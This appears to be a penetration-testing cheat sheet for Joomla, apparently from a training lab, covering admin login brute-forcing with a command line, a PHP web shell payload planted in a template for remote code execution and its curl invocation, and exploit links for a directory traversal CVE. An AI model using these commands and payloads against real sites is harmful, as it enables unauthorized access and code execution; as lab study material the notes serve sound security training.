## **Joomla Users and Login Bruteforcing**

* **Administrator account:**\
  The default administrator account is admin, but the **password is set at install time**
* You can perform login broteforce by using the following: <https://github.com/ajnik/joomla-bruteforce>
* PoC: `sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin`

***

## **Joomla Known Vulnerabilities**

1. **PHP TEMPLATE CODE INJECTION TO RCE \[Requires Admin Account]**
   * The basic idea is to add PHP code inside a template
   * Login as Admin → Navigate to Configuration → Select a Template → Select an existing PHP file → add the following payload:
   * `system($_GET['cmd']);`
   * `curl -s http://dev.inlanefreight.local/templates/protostar/error.php?cmd=id`
2. **Joomla 3.9.4 directory traversal** [**CVE-2019-10945**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945)
   * Exploit 1: <https://www.exploit-db.com/exploits/46710>
   * Exploit 2: <https://github.com/dpgg101/CVE-2019-10945>
